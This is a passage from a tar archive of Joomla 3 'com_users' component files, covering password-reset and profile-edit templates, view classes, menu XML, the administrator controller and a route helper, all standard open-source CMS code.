					<p><?php echo JText::_($fieldset->label); ?></p>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/reset/tmpl/default.xml000060400000000462152453734460014157 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_RESET_VIEW_DEFAULT_TITLE" option="COM_USER_RESET_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET"
		/>
		<message>
			<![CDATA[COM_USER_RESET_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/reset/tmpl/confirm.php000060400000002375152453734460014164 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="reset-confirm<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_users&task=reset.confirm'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (isset($fieldset->label)) : ?>
					<p><?php echo JText::_($fieldset->label); ?></p>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/reset/tmpl/complete.php000060400000002377152453734460014341 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="reset-complete<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_users&task=reset.complete'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (isset($fieldset->label)) : ?>
					<p><?php echo JText::_($fieldset->label); ?></p>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/reset/view.html.php000060400000005402152453734460013462 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Reset view class for Users.
 *
 * @since  1.5
 */
class UsersViewReset extends JViewLegacy
{
	protected $form;

	protected $params;

	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  The template file to include
	 *
	 * @return  mixed
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		// This name will be used to get the model
		$name = $this->getLayout();

		// Check that the name is valid - has an associated model.
		if (!in_array($name, array('confirm', 'complete')))
		{
			$name = 'default';
		}

		if ('default' === $name)
		{
			$formname = 'Form';
		}
		else
		{
			$formname = ucfirst($this->_name) . ucfirst($name) . 'Form';
		}

		// Get the view data.
		$this->form   = $this->get($formname);
		$this->state  = $this->get('State');
		$this->params = $this->state->params;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		parent::display($tpl);
	}

	/**
	 * Prepares the document.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_USERS_RESET'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_users/views/profile/view.html.php000060400000010175152453734460014003 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Profile view class for Users.
 *
 * @since  1.6
 */
class UsersViewProfile extends JViewLegacy
{
	protected $data;

	protected $form;

	protected $params;

	protected $state;

	/**
	 * An instance of JDatabaseDriver.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.6.3
	 */
	protected $db;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed   A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$user = JFactory::getUser();

		// Get the view data.
		$this->data	        = $this->get('Data');
		$this->form	        = $this->getModel()->getForm(new JObject(array('id' => $user->id)));
		$this->state            = $this->get('State');
		$this->params           = $this->state->get('params');
		$this->twofactorform    = $this->get('Twofactorform');
		$this->twofactormethods = UsersHelper::getTwoFactorMethods();
		$this->otpConfig        = $this->get('OtpConfig');
		$this->db               = JFactory::getDbo();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// View also takes responsibility for checking if the user logged in with remember me.
		$cookieLogin = $user->get('cookieLogin');

		if (!empty($cookieLogin))
		{
			// If so, the user must login to edit the password and other data.
			// What should happen here? Should we force a logout which destroys the cookies?
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message');
			$app->redirect(JRoute::_('index.php?option=com_users&view=login', false));

			return false;
		}

		// Check if a user was found.
		if (!$this->data->id)
		{
			JError::raiseError(404, JText::_('JERROR_USERS_PROFILE_NOT_FOUND'));

			return false;
		}

		JPluginHelper::importPlugin('content');
		$this->data->text = '';
		JEventDispatcher::getInstance()->trigger('onContentPrepare', array ('com_users.user', &$this->data, &$this->data->params, 0));
		unset($this->data->text);

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

		$this->prepareDocument();

		return parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$user  = JFactory::getUser();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $user->name));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_USERS_PROFILE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_users/views/profile/tmpl/default_params.php000060400000002446152453734460016033 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

?>
<?php $fields = $this->form->getFieldset('params'); ?>
<?php if (count($fields)) : ?>
	<fieldset id="users-profile-custom">
		<legend><?php echo JText::_('COM_USERS_SETTINGS_FIELDSET_LABEL'); ?></legend>
		<dl class="dl-horizontal">
			<?php foreach ($fields as $field) : ?>
				<?php if (!$field->hidden) : ?>
					<dt>
						<?php echo $field->title; ?>
					</dt>
					<dd>
						<?php if (JHtml::isRegistered('users.' . $field->id)) : ?>
							<?php echo JHtml::_('users.' . $field->id, $field->value); ?>
						<?php elseif (JHtml::isRegistered('users.' . $field->fieldname)) : ?>
							<?php echo JHtml::_('users.' . $field->fieldname, $field->value); ?>
						<?php elseif (JHtml::isRegistered('users.' . $field->type)) : ?>
							<?php echo JHtml::_('users.' . $field->type, $field->value); ?>
						<?php else : ?>
							<?php echo JHtml::_('users.value', $field->value); ?>
						<?php endif; ?>
					</dd>
				<?php endif; ?>
			<?php endforeach; ?>
		</dl>
	</fieldset>
<?php endif; ?>
com_users/views/profile/tmpl/edit.xml000060400000000470152453734460013775 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_PROFILE_EDIT_DEFAULT_TITLE" option="COM_USER_PROFILE_EDIT_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT"
		/>
		<message>
			<![CDATA[COM_USER_PROFILE_EDIT_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/profile/tmpl/edit.php000060400000013024152453734460013763 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');


// Load user_profile plugin language
$lang = JFactory::getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);

?>
<div class="profile-edit<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<script type="text/javascript">
		Joomla.twoFactorMethodChange = function(e)
		{
			var selectedPane = 'com_users_twofactor_' + jQuery('#jform_twofactor_method').val();

			jQuery.each(jQuery('#com_users_twofactor_forms_container>div'), function(i, el)
			{
				if (el.id != selectedPane)
				{
					jQuery('#' + el.id).hide(0);
				}
				else
				{
					jQuery('#' + el.id).show(0);
				}
			});
		}
	</script>
	<form id="member-profile" action="<?php echo JRoute::_('index.php?option=com_users&task=profile.save'); ?>" method="post" class="form-validate form-horizontal well" enctype="multipart/form-data">
		<?php // Iterate through the form fieldsets and display each one. ?>
		<?php foreach ($this->form->getFieldsets() as $group => $fieldset) : ?>
			<?php $fields = $this->form->getFieldset($group); ?>
			<?php if (count($fields)) : ?>
				<fieldset>
					<?php // If the fieldset has a label set, display it as the legend. ?>
					<?php if (isset($fieldset->label)) : ?>
						<legend>
							<?php echo JText::_($fieldset->label); ?>
						</legend>
					<?php endif; ?>
					<?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
						<p>
							<?php echo $this->escape(JText::_($fieldset->description)); ?>
						</p>
					<?php endif; ?>
					<?php // Iterate through the fields in the set and display them. ?>
					<?php foreach ($fields as $field) : ?>
						<?php // If the field is hidden, just display the input. ?>
						<?php if ($field->hidden) : ?>
							<?php echo $field->input; ?>
						<?php else : ?>
							<div class="control-group">
								<div class="control-label">
									<?php echo $field->label; ?>
									<?php if (!$field->required && $field->type !== 'Spacer') : ?>
										<span class="optional">
											<?php echo JText::_('COM_USERS_OPTIONAL'); ?>
										</span>
									<?php endif; ?>
								</div>
								<div class="controls">
									<?php if ($field->fieldname === 'password1') : ?>
										<?php // Disables autocomplete ?>
										<input type="password" style="display:none">
									<?php endif; ?>
									<?php echo $field->input; ?>
								</div>
							</div>
						<?php endif; ?>
					<?php endforeach; ?>
				</fieldset>
			<?php endif; ?>
		<?php endforeach; ?>
		<?php if (count($this->twofactormethods) > 1 && !empty($this->twofactorform)) : ?>
			<fieldset>
				<legend><?php echo JText::_('COM_USERS_PROFILE_TWO_FACTOR_AUTH'); ?></legend>
				<div class="control-group">
					<div class="control-label">
						<label id="jform_twofactor_method-lbl" for="jform_twofactor_method" class="hasTooltip"
							title="<?php echo '<strong>' . JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL') . '</strong><br />' . JText::_('COM_USERS_PROFILE_TWOFACTOR_DESC'); ?>">
							<?php echo JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL'); ?>
						</label>
					</div>
					<div class="controls">
						<?php echo JHtml::_('select.genericlist', $this->twofactormethods, 'jform[twofactor][method]', array('onchange' => 'Joomla.twoFactorMethodChange()'), 'value', 'text', $this->otpConfig->method, 'jform_twofactor_method', false); ?>
					</div>
				</div>
				<div id="com_users_twofactor_forms_container">
					<?php foreach ($this->twofactorform as $form) : ?>
						<?php $style = $form['method'] == $this->otpConfig->method ? 'display: block' : 'display: none'; ?>
						<div id="com_users_twofactor_<?php echo $form['method']; ?>" style="<?php echo $style; ?>">
							<?php echo $form['form']; ?>
						</div>
					<?php endforeach; ?>
				</div>
			</fieldset>
			<fieldset>
				<legend>
					<?php echo JText::_('COM_USERS_PROFILE_OTEPS'); ?>
				</legend>
				<div class="alert alert-info">
					<?php echo JText::_('COM_USERS_PROFILE_OTEPS_DESC'); ?>
				</div>
				<?php if (empty($this->otpConfig->otep)) : ?>
					<div class="alert alert-warning">
						<?php echo JText::_('COM_USERS_PROFILE_OTEPS_WAIT_DESC'); ?>
					</div>
				<?php else : ?>
					<?php foreach ($this->otpConfig->otep as $otep) : ?>
						<span class="span3">
							<?php echo substr($otep, 0, 4); ?>-<?php echo substr($otep, 4, 4); ?>-<?php echo substr($otep, 8, 4); ?>-<?php echo substr($otep, 12, 4); ?>
						</span>
					<?php endforeach; ?>
					<div class="clearfix"></div>
				<?php endif; ?>
			</fieldset>
		<?php endif; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
				<a class="btn" href="<?php echo JRoute::_('index.php?option=com_users&view=profile'); ?>" title="<?php echo JText::_('JCANCEL'); ?>">
					<?php echo JText::_('JCANCEL'); ?>
				</a>
				<input type="hidden" name="option" value="com_users" />
				<input type="hidden" name="task" value="profile.save" />
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/profile/tmpl/default_custom.php000060400000004607152453734460016063 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::register('users.spacer', array('JHtmlUsers', 'spacer'));

$fieldsets = $this->form->getFieldsets();

if (isset($fieldsets['core']))
{
	unset($fieldsets['core']);
}

if (isset($fieldsets['params']))
{
	unset($fieldsets['params']);
}

$tmp          = isset($this->data->jcfields) ? $this->data->jcfields : array();
$customFields = array();

foreach ($tmp as $customField)
{
	$customFields[$customField->name] = $customField;
}

?>
<?php foreach ($fieldsets as $group => $fieldset) : ?>
	<?php $fields = $this->form->getFieldset($group); ?>
	<?php if (count($fields)) : ?>
		<fieldset id="users-profile-custom-<?php echo $group; ?>" class="users-profile-custom-<?php echo $group; ?>">
			<?php if (isset($fieldset->label) && ($legend = trim(JText::_($fieldset->label))) !== '') : ?>
				<legend><?php echo $legend; ?></legend>
			<?php endif; ?>
			<?php if (isset($fieldset->description) && trim($fieldset->description)) : ?>
				<p><?php echo $this->escape(JText::_($fieldset->description)); ?></p>
			<?php endif; ?>
			<dl class="dl-horizontal">
				<?php foreach ($fields as $field) : ?>
					<?php if (!$field->hidden && $field->type !== 'Spacer') : ?>
						<dt>
							<?php echo $field->title; ?>
						</dt>
						<dd>
							<?php if (key_exists($field->fieldname, $customFields)) : ?>
								<?php echo strlen($customFields[$field->fieldname]->value) ? $customFields[$field->fieldname]->value : JText::_('COM_USERS_PROFILE_VALUE_NOT_FOUND'); ?>
							<?php elseif (JHtml::isRegistered('users.' . $field->id)) : ?>
								<?php echo JHtml::_('users.' . $field->id, $field->value); ?>
							<?php elseif (JHtml::isRegistered('users.' . $field->fieldname)) : ?>
								<?php echo JHtml::_('users.' . $field->fieldname, $field->value); ?>
							<?php elseif (JHtml::isRegistered('users.' . $field->type)) : ?>
								<?php echo JHtml::_('users.' . $field->type, $field->value); ?>
							<?php else : ?>
								<?php echo JHtml::_('users.value', $field->value); ?>
							<?php endif; ?>
						</dd>
					<?php endif; ?>
				<?php endforeach; ?>
			</dl>
		</fieldset>
	<?php endif; ?>
<?php endforeach; ?>
com_users/views/profile/tmpl/default.php000060400000002026152453734460014462 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="profile<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<?php if (JFactory::getUser()->id == $this->data->id) : ?>
		<ul class="btn-toolbar pull-right">
			<li class="btn-group">
				<a class="btn" href="<?php echo JRoute::_('index.php?option=com_users&task=profile.edit&user_id=' . (int) $this->data->id); ?>">
					<span class="icon-user"></span>
					<?php echo JText::_('COM_USERS_EDIT_PROFILE'); ?>
				</a>
			</li>
		</ul>
	<?php endif; ?>
	<?php echo $this->loadTemplate('core'); ?>
	<?php echo $this->loadTemplate('params'); ?>
	<?php echo $this->loadTemplate('custom'); ?>
</div>
com_users/views/profile/tmpl/default.xml000060400000000463152453734460014476 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_PROFILE_VIEW_DEFAULT_TITLE" option="COM_USER_PROFILE_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_USER_PROFILE"
		/>
		<message>
			<![CDATA[COM_USER_PROFILE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/profile/tmpl/default_core.php000060400000002404152453734460015472 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<fieldset id="users-profile-core">
	<legend>
		<?php echo JText::_('COM_USERS_PROFILE_CORE_LEGEND'); ?>
	</legend>
	<dl class="dl-horizontal">
		<dt>
			<?php echo JText::_('COM_USERS_PROFILE_NAME_LABEL'); ?>
		</dt>
		<dd>
			<?php echo $this->escape($this->data->name); ?>
		</dd>
		<dt>
			<?php echo JText::_('COM_USERS_PROFILE_USERNAME_LABEL'); ?>
		</dt>
		<dd>
			<?php echo $this->escape($this->data->username); ?>
		</dd>
		<dt>
			<?php echo JText::_('COM_USERS_PROFILE_REGISTERED_DATE_LABEL'); ?>
		</dt>
		<dd>
			<?php echo JHtml::_('date', $this->data->registerDate, JText::_('DATE_FORMAT_LC1')); ?>
		</dd>
		<dt>
			<?php echo JText::_('COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL'); ?>
		</dt>
		<?php if ($this->data->lastvisitDate != $this->db->getNullDate()) : ?>
			<dd>
				<?php echo JHtml::_('date', $this->data->lastvisitDate, JText::_('DATE_FORMAT_LC1')); ?>
			</dd>
		<?php else : ?>
			<dd>
				<?php echo JText::_('COM_USERS_PROFILE_NEVER_VISITED'); ?>
			</dd>
		<?php endif; ?>
	</dl>
</fieldset>
com_users/layouts/joomla/form/renderfield.php000060400000003530152453734460015475 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * ---------------------
 *    $options         : (array)  Optional parameters
 *    $label           : (string) The html code for the label (not required if $options['hiddenLabel'] is true)
 *    $input           : (string) The input field html code
 */

if (!empty($options['showonEnabled']))
{
	JHtml::_('jquery.framework');
	JHtml::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));
}

$class = empty($options['class']) ? '' : ' ' . $options['class'];
$rel   = empty($options['rel']) ? '' : ' ' . $options['rel'];

/**
 * @TODO:
 *
 * As mentioned in #8473 (https://github.com/joomla/joomla-cms/pull/8473), ...
 * as long as we cannot access the field properties properly, this seems to
 * be the way to go for now.
 *
 * On a side note: Parsing html is seldom a good idea.
 * https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454
 */
preg_match('/class=\"([^\"]+)\"/i', $input, $match);

$required     = (strpos($input, 'aria-required="true"') !== false || (!empty($match[1]) && strpos($match[1], 'required') !== false));
$typeOfSpacer = (strpos($label, 'spacer-lbl') !== false);

?>

<div class="control-group<?php echo $class; ?>"<?php echo $rel; ?>>
	<?php if (empty($options['hiddenLabel'])): ?>
		<div class="control-label">
			<?php echo $label; ?>
			<?php if (!$required && !$typeOfSpacer) : ?>
				<span class="optional"><?php echo JText::_('COM_USERS_OPTIONAL'); ?></span>
			<?php endif; ?>
		</div>
	<?php endif; ?>
	<div class="controls">
		<?php echo $input; ?>
	</div>
</div>
com_users/users.php000060400000001223152453734460010424 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

JLoader::register('UsersHelper', __DIR__ . '/helpers/users.php');

$controller = JControllerLegacy::getInstance('Users');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_users/controller.php000060400000006175152453734460011461 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users master display controller.
 *
 * @since  1.6
 */
class UsersController extends JControllerLegacy
{
	/**
	 * Checks whether a user can see this view.
	 *
	 * @param   string  $view  The view name.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function canView($view)
	{
		$canDo = JHelperContent::getActions('com_users');

		switch ($view)
		{
			// Special permissions.
			case 'groups':
			case 'group':
			case 'levels':
			case 'level':
				return $canDo->get('core.admin');
				break;

			// Default permissions.
			default:
				return true;
		}
	}

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController	 This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		$view   = $this->input->get('view', 'users');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		if (!$this->canView($view))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		// Check for edit form.
		if ($view == 'user' && $layout == 'edit' && !$this->checkEditId('com_users.edit.user', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=users', false));

			return false;
		}
		elseif ($view == 'group' && $layout == 'edit' && !$this->checkEditId('com_users.edit.group', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=groups', false));

			return false;
		}
		elseif ($view == 'level' && $layout == 'edit' && !$this->checkEditId('com_users.edit.level', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=levels', false));

			return false;
		}
		elseif ($view == 'note' && $layout == 'edit' && !$this->checkEditId('com_users.edit.note', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_users&view=notes', false));

			return false;
		}

		return parent::display();
	}
}
com_users/helpers/route.php000060400000007531152453734460012073 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users Route Helper
 *
 * @since       1.6
 * @deprecated  4.0
 */
class UsersHelperRoute
{
	/**
	 * Method to get the menu items for the component.
	 *
	 * @return  array  	An array of menu items.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function &getItems()
	{
		static $items;

		// Get the menu items for this component.
		if (!isset($items))
		{
			$component = JComponentHelper::getComponent('com_users');
			$items     = JFactory::getApplication()->getMenu()->getItems('component_id', $component->id);

			// If no items found, set to empty array.
			if (!$items)
			{
				$items = array();
			}
		}

		return $items;
	}

	/**
	 * Method to get a route configuration for the login view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getLoginRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'login' && (empty($item->query['layout']) || $item->query['layout'] === 'default'))
			{
				return $item->id;
			}
		}

		return null;
	}

	/**
	 * Method to get a route configuration for the profile view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getProfileRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		// Menu link can only go to users own profile.

		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'profile')
			{
				return $item->id;
			}
		}

		return null;
	}

	/**
	 * Method to get a route configuration for the registration view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getRegistrationRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'registration')
			{
				return $item->id;
			}
		}

		return null;
	}

	/**
	 * Method to get a route configuration for the remind view.
	 *
	 * @return  mixed  	Integer menu id on success, null on failure.
	 *
	 * @since       1.6
	 * @deprecated  4.0
	 */
	public static function getRemindRoute()
	{
		// Get the items.
		$items  = self::getItems();

		// Search for a suitable menu id.
		foreach ($items as $item)
		{
			if (isset($item->query['view']) && $item->query['view'] === 'remind')
			{
				return $item->id;
			}
		}

		return null;
	}

	/**
